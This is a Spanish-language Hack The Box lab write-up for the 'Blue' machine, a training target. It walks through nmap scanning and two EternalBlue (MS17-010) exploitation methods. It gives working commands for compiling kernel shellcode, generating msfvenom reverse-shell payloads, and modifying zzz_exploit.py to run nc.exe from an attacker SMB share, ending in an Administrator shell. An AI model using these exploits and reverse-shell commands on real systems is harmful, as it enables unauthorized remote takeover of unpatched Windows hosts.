Blue Writeup HTB (OSCP Style)
Datos de la Máquina
Contenido | Descripción |
---|---|
OS: | ![]() |
Dificultad: | Fácil |
Puntos: | 20 |
Lanzamiento: | 28 Jul 2017 |
Creadores: | ch4p |
Reconocimiento
Lo primero que haremos sera agregar la ip de la máquina víctima a nuestro archivo /etc/hosts, nos tendria que quedar algo asi:
Nmap
Una agregada la ip a nuestro archivo, procedemos a realizar un barrido a los 65535 puertos TCP/IP, esto lo realizaremos con el siguiente comando:
nmap -n -p- -T4 --min-rate 10000 blue.htb -oA all-tcp
Y como podemos observar en la siguiente imagen nos encontramos con los siguientes puertos abiertos:
- 135 (msrpc)
- 139 (netbios-ssn)
- 445 (microsoft-ds)
- 49152 (unknown)
- 49155 (unknown)
- 49156 (unknown)
- 49157 (unknown)
Una vez identificados los puertos abiertos, procedemos a identificar las versiones y servicios de cada uno, al igual que le arrojaremos script para identificar más a fondo el puertos.
Esto lo haremos con el siguiente comando:
nmap -n -sCV -p 135,139,445,49152,49155,49156,49157 blue.htb -oA nmap-script
Nota: Cabe mencionar que el argumento -sCV es una union de usar -sC y -sV
Como podemos observar, los scripts anteriores nos arrojan que es un Windows 7 Professional, lo cual en caso de que aun no este parchado, muy posiblemente podria ser un EternalBlue MS17-010, para verificar esto ejecutaremos se sección de scripts vuln y safe de nmap con el siguiente comando:
nmap -n -sV --script=vuln,safe -p 135,139,445,49152,49155,49156,49157 blue.htb -oA nmap-script
Como observamos identificamos que es vulnerable.
Ahora procederemos a explotar dicha vulnerabilidad, para ello usaremos el siguiente exploit, lo cual existe 2 forma de explotarlo, 1 compilando el exploit y creando una reverse shell y la otra forma ejecutando el zzz_exploit para mandar una sesion en netcat.
Primero tendremos que clonar el repositorio:
git clone https://github.com/worawit/MS17-010.git
Antes de realizar la explotación, validaremos nuevamente que es vulnerable para ello, dentro de la carpeta MS17-010 existe un archivo llamado checker.py, lo cual lo ejecutaremos con python2
python2 MS17-010/checker.py blue.htb
Como observamos en la siguiente imágen no indica acceso denegado.
Antes de verificar en otro sitio, verificamos el archivo checker.py, y observamos que verificar esta vulnerabilidad con usuario null.
Lo cual para verificar nuevamente, usaremos el usuario guest. guardaremos cambios y ejecutaremos nuevamente.
Como observamos en la siguiente imágen podemos observar que es vulnerable con usuario, guest
1 Método
Primero para explotar la vulnerabilidad, tendremos que compilar el shellcode:
x64
nasm -f bin MS17-010/shellcode/eternalblue_kshellcode_x64.asm -o ./sc_x64_kernel.bin
x86
nasm -f bin MS17-010/shellcode/eternalblue_kshellcode_x86.asm -o ./sc_x86_kernel.bin
Una vez realizado esto tendremos que generar un payload con msfvenom:
x64
msfvenom -p windows/x64/shell_reverse_tcp LPORT=443 LHOST=10.10.14.85 --platform windows -a x64 --format raw -o sc_x64_payload.bin
x86
msfvenom -p windows/shell_reverse_tcp LPORT=443 LHOST=10.10.14.85 --platform windows -a x86 --format raw -o sc_x86_payload.bin
Una vez realizado esto, crearemos un solo binario para x64 y x86:
x64
cat sc_x64_kernel.bin sc_x64_payload.bin > sc_x64.bin
x86
cat sc_x86_kernel.bin sc_x86_payload.bin > sc_x86.bin
Una vez esto dentro de la carpeta shellcode hay un script para generar un solo binario en vez de tener 2, para esto ejecutaremos lo siguiente:
python2 MS17-010/shellcode/eternalblue_sc_merge.py sc_x86.bin sc_x64.bin sc_all.bin
Una vez creado esto, ahora procederemo a explotarlo, para esto, primero tendremos que abrir netcat en el puerto que especificamos:
nc -lvnp 443
Y ejecutaremos el exploit:
python2 MS17-010/eternalblue_exploit7.py blue.htb sc_all.bin
Como observamos en la siguiente imágen podemos observar que obtenemos una sesión como Administrator.
2 Método
Lo que haremos en este caso, será ejecutar el exploit llamado zzz_exploit.py, para ello modificaremos lo siguiente:
#!/usr/bin/python
from impacket import smb, smbconnection
from mysmb import MYSMB
from struct import pack, unpack, unpack_from
import sys
import socket
import time
'''
MS17-010 exploit for Windows 2000 and later by sleepya
Note:
- The exploit should never crash a target (chance should be nearly 0%)
- The exploit use the bug same as eternalromance and eternalsynergy, so named pipe is needed
Tested on:
- Windows 2016 x64
- Windows 10 Pro Build 10240 x64
- Windows 2012 R2 x64
- Windows 8.1 x64
- Windows 2008 R2 SP1 x64
- Windows 7 SP1 x64
- Windows 2008 SP1 x64
- Windows 2003 R2 SP2 x64
- Windows XP SP2 x64
- Windows 8.1 x86
- Windows 7 SP1 x86
- Windows 2008 SP1 x86
- Windows 2003 SP2 x86
- Windows XP SP3 x86
- Windows 2000 SP4 x86
'''
USERNAME = 'guest'
PASSWORD = ''
luego de esto buscaremos la siguiente linea y modificaremos esto:
def smb_pwn(conn, arch):
smbConn = conn.get_smbconnection()
#print('creating file c:\\pwned.txt on the target')
#tid2 = smbConn.connectTree('C$')
#fid2 = smbConn.createFile(tid2, '/pwned.txt')
#smbConn.closeFile(tid2, fid2)
#smbConn.disconnectTree(tid2)
#smb_send_file(smbConn, sys.argv[0], 'C', '/exploit.py')
service_exec(conn, r'cmd /c \\10.10.14.85\smb\nc.exe -e cmd 10.10.14.85 443')
# Note: there are many methods to get shell over SMB admin session
# a simple method to get shell (but easily to be detected by AV) is
# executing binary generated by "msfvenom -f exe-service ..."
Lo que haremos sera crear un servidor smb en la maquina atacante con netcat y mandarlo llamar, copiaremos lo siguiente:
cp /usr/share/windows-resources/binaries/nc.exe .
Una vez esto ejecutamos lo siguiente, para crear nuestro servidor smb:
impacket-smbserver smb $(pwd)
Copiamos netcat donde ejecutaremos netcat:
cp /usr/share/windows-resources/binaries/nc.exe .
Abrimos netcat:
rlwrap nc -lvnp 443
y ejecutamos el exploit:
python2 MS17-010/zzz_exploit.py blue.htb samr
!Happy Hacking!